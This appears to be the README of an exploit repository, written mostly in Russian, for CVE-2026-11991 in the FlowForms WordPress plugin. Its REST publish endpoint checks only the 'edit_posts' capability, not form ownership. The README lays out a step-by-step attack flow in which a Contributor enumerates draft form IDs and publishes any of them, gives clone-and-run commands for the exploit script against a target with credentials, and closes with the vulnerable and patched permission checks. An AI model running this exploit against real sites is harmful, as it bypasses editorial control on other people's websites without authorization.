POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish

register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
    'methods'             => 'POST',
    'callback'            => [$this, 'publish_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

Атакующий (Contributor)              REST API FlowForms
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Аутентификация как Contributor
        │<─ cookie wordpress_logged_in ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) Получение REST nonce
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Перебор черновых форм
        │<─ "Form Not Published" ───────────│      (неаутентифицированный ответ)
        │                                   │
        │── POST /flowforms/v1/forms/       │  (4) Запуск публикации
        │        {id}/publish ─────────────>│      любой черновой формы по ID
        │                                   │      ← нет проверки владельца
        │<─ { "success": true } ────────────│
        │                                   │
        │   Форма теперь ЖИВАЯ на сайте     │  (5) Черновик обходит
        │   без редакторского одобрения     │      редакторский процесс

git clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt

python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --proxy http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

// УЯЗВИМО
'permission_callback' => fn() => current_user_can('edit_posts'),

// БЕЗОПАСНО (исправлено)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

CVE-2026-11991-FlowForms-Exploit/
├── CVE-2026-11991-exploit.py   # Доработанный эксплойт с богатым интерфейсом
├── requirements.txt            # Зависимости Python
└── README.md                   # Этот файл